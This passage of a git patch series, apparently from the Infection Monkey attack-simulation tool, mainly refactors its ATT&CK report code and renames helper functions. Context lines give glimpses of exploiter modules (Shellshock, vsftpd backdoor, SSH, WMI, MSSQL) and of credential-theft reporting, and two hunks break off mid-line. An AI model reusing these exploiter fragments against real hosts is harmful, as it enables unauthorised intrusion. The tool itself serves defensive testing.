- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
index e4c7d841d..8dc655aee 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1210 extends React.Component {
@@ -9,7 +9,7 @@ class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
- id: 'machine', accessor: x => RenderMachine(x),
+ id: 'machine', accessor: x => renderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 76bc5d196..1b3daa86c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { RenderMachine } from "./Helpers"
+import { renderMachine } from "./Helpers"
class T1210 extends React.Component {
@@ -13,7 +13,7 @@ class T1210 extends React.Component {
static getScanColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
@@ -24,7 +24,7 @@ class T1210 extends React.Component {
static getExploitColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
From 12eeea68a420a725d30c423b758c0763350ba63d Mon Sep 17 00:00:00 2001
From: itay
Date: Tue, 18 Jun 2019 20:17:51 +0300
Subject: [PATCH 14/31] determine if new report needs to be generated pending
on latest update time of monkey
---
.../cc/services/attack/attack_report.py | 22 +++++++++----------
1 file changed, 11 insertions(+), 11 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 314a2e4df..37994e73d 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -2,6 +2,7 @@ import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
+from monkey_island.cc.services.node import NodeService
__author__ = "VakarisZ"
@@ -25,7 +26,13 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
- report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME}
+ report =\
+ {
+ 'techniques': {},
+ 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']},
+ 'name': REPORT_NAME
+ }
+
for tech_id, value in AttackConfig.get_technique_values().items():
if value:
try:
@@ -36,14 +43,6 @@ class AttackReportService:
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
return report
- @staticmethod
- def get_latest_attack_telem_time():
- """
- Gets timestamp of latest attack telem
- :return: timestamp of latest attack telem
- """
- return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_catagory': 'attack'}).sort('timestamp', -1).limit(1)][0]
-
@staticmethod
def get_latest_report():
"""
@@ -51,9 +50,10 @@ class AttackReportService:
:return: report dict.
"""
if AttackReportService.is_report_generated():
- telem_time = AttackReportService.get_latest_attack_telem_time()
+ monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime']
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
- if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']:
+ report_modifytime = latest_report['meta']['latest_monkey_modifytime']
+ if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
return latest_report
return AttackReportService.generate_new_report()
From ab4bbd437f6592c4461a8fe6d71db85a3045036f Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 19 Jun 2019 11:54:58 +0300
Subject: [PATCH 15/31] Readability improvements
---
.../attack/technique_reports/T1075.py | 7 ++++---
.../attack/technique_reports/T1110.py | 8 ++++----
.../attack/technique_reports/T1210.py | 7 ++++---
.../attack/technique_reports/__init__.py | 20 +++++++++----------
4 files changed, 21 insertions(+), 21 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 18082dfc1..09eee9d44 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -35,9 +35,10 @@ class T1075(AttackTechnique):
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
- data.update(T1075.get_message_and_status(ScanStatus.USED))
+ status = ScanStatus.USED
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
- data.update(T1075.get_message_and_status(ScanStatus.SCANNED))
+ status = ScanStatus.SCANNED
else:
- data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED))
+ status = ScanStatus.UNSCANNED
+ data.update(T1075.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index e8e4a62c3..fe236f487 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -35,12 +35,12 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded:
- data = T1110.get_message_and_status(ScanStatus.USED)
+ status = ScanStatus.USED
elif attempts:
- data = T1110.get_message_and_status(ScanStatus.SCANNED)
+ status = ScanStatus.SCANNED
else:
- data = T1110.get_message_and_status(ScanStatus.UNSCANNED)
-
+ status = ScanStatus.UNSCANNED
+ data = T1110.get_message_and_status(status)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index 677495c10..ff5d1caa0 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -18,11 +18,12 @@ class T1210(AttackTechnique):
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
- data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
+ status = ScanStatus.USED
elif scanned_services:
- data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
+ status = ScanStatus.SCANNED
else:
- data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
+ status = ScanStatus.UNSCANNED.name
+ data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index 7faaf5afd..fe2beb424 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -46,20 +46,19 @@ class AttackTechnique(object):
"""
pass
- @staticmethod
- def technique_status(tech_id):
+ @classmethod
+ def technique_status(cls):
"""
Gets the status of a certain attack technique.
- :param tech_id: ID of attack technique, for e.g. T1110
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.USED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.SCANNED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@@ -87,13 +86,12 @@ class AttackTechnique(object):
else:
return cls.used_msg
- @staticmethod
- def technique_title(tech_id):
+ @classmethod
+ def technique_title(cls):
"""
- :param tech_id: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
- return AttackConfig.get_technique(tech_id)['title']
+ return AttackConfig.get_technique(cls.tech_id)['title']
@classmethod
def get_tech_base_data(cls):
@@ -102,8 +100,8 @@ class AttackTechnique(object):
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
- status = AttackTechnique.technique_status(cls.tech_id)
- title = AttackTechnique.technique_title(cls.tech_id)
+ status = cls.technique_status()
+ title = cls.technique_title()
data.update({'status': status.name,
'title': title,
'message': cls.get_message_by_status(status)})
From b3c6baf214d3fb124d0420c9d217957fb905b102 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 19 Jun 2019 11:54:58 +0300
Subject: [PATCH 16/31] Readability improvements
---
.../attack/technique_reports/T1075.py | 9 +++++----
.../attack/technique_reports/T1110.py | 10 +++++-----
.../attack/technique_reports/T1210.py | 9 +++++----
.../attack/technique_reports/__init__.py | 20 +++++++++----------
4 files changed, 24 insertions(+), 24 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 18082dfc1..fa65a66c2 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -31,13 +31,14 @@ class T1075(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1075.technique_title(T1075.tech_id)}
+ data = {'title': T1075.technique_title()}
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
- data.update(T1075.get_message_and_status(ScanStatus.USED))
+ status = ScanStatus.USED
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
- data.update(T1075.get_message_and_status(ScanStatus.SCANNED))
+ status = ScanStatus.SCANNED
else:
- data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED))
+ status = ScanStatus.UNSCANNED
+ data.update(T1075.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index e8e4a62c3..0f09fb0fe 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -35,16 +35,16 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded:
- data = T1110.get_message_and_status(ScanStatus.USED)
+ status = ScanStatus.USED
elif attempts:
- data = T1110.get_message_and_status(ScanStatus.SCANNED)
+ status = ScanStatus.SCANNED
else:
- data = T1110.get_message_and_status(ScanStatus.UNSCANNED)
-
+ status = ScanStatus.UNSCANNED
+ data = T1110.get_message_and_status(status)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]
- data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)})
+ data.update({'services': attempts, 'title': T1110.technique_title()})
return data
@staticmethod
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index 677495c10..08019699b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -14,15 +14,16 @@ class T1210(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1210.technique_title(T1210.tech_id)}
+ data = {'title': T1210.technique_title()}
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
- data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
+ status = ScanStatus.USED
elif scanned_services:
- data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
+ status = ScanStatus.SCANNED
else:
- data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
+ status = ScanStatus.UNSCANNED.name
+ data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index 7faaf5afd..fe2beb424 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -46,20 +46,19 @@ class AttackTechnique(object):
"""
pass
- @staticmethod
- def technique_status(tech_id):
+ @classmethod
+ def technique_status(cls):
"""
Gets the status of a certain attack technique.
- :param tech_id: ID of attack technique, for e.g. T1110
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.USED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'telem_catagory': 'attack',
'status': ScanStatus.SCANNED.value,
- 'technique': tech_id}):
+ 'technique': cls.tech_id}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@@ -87,13 +86,12 @@ class AttackTechnique(object):
else:
return cls.used_msg
- @staticmethod
- def technique_title(tech_id):
+ @classmethod
+ def technique_title(cls):
"""
- :param tech_id: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
- return AttackConfig.get_technique(tech_id)['title']
+ return AttackConfig.get_technique(cls.tech_id)['title']
@classmethod
def get_tech_base_data(cls):
@@ -102,8 +100,8 @@ class AttackTechnique(object):
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
- status = AttackTechnique.technique_status(cls.tech_id)
- title = AttackTechnique.technique_title(cls.tech_id)
+ status = cls.technique_status()
+ title = cls.technique_title()
data.update({'status': status.name,
'title': title,
'message': cls.get_message_by_status(status)})
From 7c01aab58c6245056ea98bb8ad8d94de592d2222 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 19 Jun 2019 12:43:44 +0300
Subject: [PATCH 17/31] CR improvements
---
.../cc/services/attack/technique_reports/T1003.py | 7 ++++---
.../cc/services/attack/technique_reports/T1059.py | 7 ++++---
.../cc/ui/src/components/attack/techniques/T1059.js | 4 ++--
3 files changed, 10 insertions(+), 8 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index 002e2eeb7..abe1963f3 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -17,9 +17,10 @@ class T1003(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1003.technique_title(T1003.tech_id)}
+ data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
- data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name})
+ status = ScanStatus.USED
else:
- data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ status = ScanStatus.UNSCANNED
+ data.update(T1003.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index e85e27415..6f126b175 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -22,9 +22,10 @@ class T1059(AttackTechnique):
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
- data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data}
+ data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
- data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name})
+ status = ScanStatus.USED
else:
- data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ status = ScanStatus.UNSCANNED
+ data.update(T1059.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index d1c809651..5678b8c14 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -10,7 +10,7 @@ class T1059 extends React.Component {
super(props);
}
- static getHashColumns() {
+ static getCommandColumns() {
return ([{
Header: 'Example commands used',
columns: [
@@ -27,7 +27,7 @@ class T1059 extends React.Component {
{this.props.data.status === 'USED' ?
Date: Wed, 19 Jun 2019 12:43:44 +0300
Subject: [PATCH 18/31] CR improvements
---
monkey/infection_monkey/exploit/__init__.py | 2 +-
monkey/infection_monkey/exploit/hadoop.py | 2 +-
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/rdpgrinder.py | 2 +-
monkey/infection_monkey/exploit/shellshock.py | 2 +-
monkey/infection_monkey/exploit/sshexec.py | 2 +-
monkey/infection_monkey/exploit/vsftpd.py | 2 +-
monkey/infection_monkey/exploit/web_rce.py | 4 ++--
monkey/infection_monkey/exploit/wmiexec.py | 2 +-
.../cc/services/attack/technique_reports/T1003.py | 9 +++++----
.../cc/services/attack/technique_reports/T1059.py | 7 ++++---
.../cc/ui/src/components/attack/techniques/T1059.js | 4 ++--
12 files changed, 21 insertions(+), 19 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 7cf1ac4cf..962240665 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -59,7 +59,7 @@ class HostExploiter(object):
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
- def add_example_cmd(self, cmd):
+ def set_example_cmd(self, cmd):
self._exploit_info['executed_cmds']['example'] = cmd
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 570575423..39edf0262 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
- self.add_example_cmd(command)
+ self.set_example_cmd(command)
return True
def exploit(self, url, command):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 1bf7f90d5..c1409ec6c 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
- self.add_example_cmd(commands[-1])
+ self.set_example_cmd(commands[-1])
return True
@staticmethod
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index 819ff00fb..828b03c20 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
- self.add_example_cmd(command)
+ self.set_example_cmd(command)
return True
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 9db770905..26e9a743b 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
- self.add_example_cmd(cmdline)
+ self.set_example_cmd(cmdline)
return True
return False
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 226ad8943..e65d3cb19 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
- self.add_example_cmd(cmdline)
+ self.set_example_cmd(cmdline)
return True
except Exception as exc:
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index f3f13c073..eddac620c 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
- self.add_example_cmd(run_monkey)
+ self.set_example_cmd(run_monkey)
return True
else:
return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 43c1b5749..351eb7c17 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -408,7 +408,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
- self.add_example_cmd(command)
+ self.set_example_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
@@ -422,7 +422,7 @@ class WebRCE(HostExploiter):
return False
LOG.info("Execution attempt finished")
- self.add_example_cmd(command)
+ self.set_example_cmd(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index b9decf433..648fb233d 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter):
result.RemRelease()
wmi_connection.close()
- self.add_example_cmd(cmdline)
+ self.set_example_cmd(cmdline)
return success
return False
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index 002e2eeb7..d30197e9a 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -9,7 +9,7 @@ class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
- scanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
+ scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
@@ -17,9 +17,10 @@ class T1003(AttackTechnique):
@staticmethod
def get_report_data():
- data = {'title': T1003.technique_title(T1003.tech_id)}
+ data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
- data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name})
+ status = ScanStatus.USED
else:
- data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ status = ScanStatus.UNSCANNED
+ data.update(T1003.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index e85e27415..6f126b175 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -22,9 +22,10 @@ class T1059(AttackTechnique):
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
- data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data}
+ data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
- data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name})
+ status = ScanStatus.USED
else:
- data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ status = ScanStatus.UNSCANNED
+ data.update(T1059.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index d1c809651..5678b8c14 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -10,7 +10,7 @@ class T1059 extends React.Component {
super(props);
}
- static getHashColumns() {
+ static getCommandColumns() {
return ([{
Header: 'Example commands used',
columns: [
@@ -27,7 +27,7 @@ class T1059 extends React.Component {
{this.props.data.status === 'USED' ?
Date: Sun, 23 Jun 2019 14:03:13 +0300
Subject: [PATCH 19/31] Use mongoengine for latest modify time
---
monkey/monkey_island/cc/models/monkey.py | 4 ++++
monkey/monkey_island/cc/services/attack/attack_report.py | 7 ++++---
monkey/monkey_island/cc/services/node.py | 4 ----
monkey/monkey_island/cc/services/report.py | 5 +++--
4 files changed, 11 insertions(+), 9 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 3e1e3d7c5..20f45f5e0 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -41,6 +41,10 @@ class Monkey(Document):
except IndexError:
raise MonkeyNotFoundError("id: {0}".format(str(db_id)))
+ @staticmethod
+ def get_latest_modifytime():
+ return Monkey.objects.order_by('-modifytime').first().modifytime
+
def is_dead(self):
monkey_is_dead = False
if self.dead:
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 37994e73d..d320c97da 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,8 +1,9 @@
import logging
+
+from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
-from monkey_island.cc.services.node import NodeService
__author__ = "VakarisZ"
@@ -29,7 +30,7 @@ class AttackReportService:
report =\
{
'techniques': {},
- 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']},
+ 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
'name': REPORT_NAME
}
@@ -50,7 +51,7 @@ class AttackReportService:
:return: report dict.
"""
if AttackReportService.is_report_generated():
- monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime']
+ monkey_modifytime = Monkey.get_latest_modifytime()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
report_modifytime = latest_report['meta']['latest_monkey_modifytime']
if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 442fb391a..9da76b358 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -308,10 +308,6 @@ class NodeService:
def is_monkey_finished_running():
return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive()
- @staticmethod
- def get_latest_modified_monkey():
- return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1)
-
@staticmethod
def add_credentials_to_monkey(monkey_id, creds):
mongo.db.monkey.update(
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py
index 2cd0e82fa..ee3976886 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/report.py
@@ -10,6 +10,7 @@ from enum import Enum
from six import text_type
from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
from monkey_island.cc.report_exporter_manager import ReportExporterManager
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge import EdgeService
@@ -714,7 +715,7 @@ class ReportService:
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
cross_segment_issues = ReportService.get_cross_segment_issues()
- monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime']
+ monkey_latest_modify_time = Monkey.get_latest_modifytime()
report = \
{
@@ -779,7 +780,7 @@ class ReportService:
if latest_report_doc:
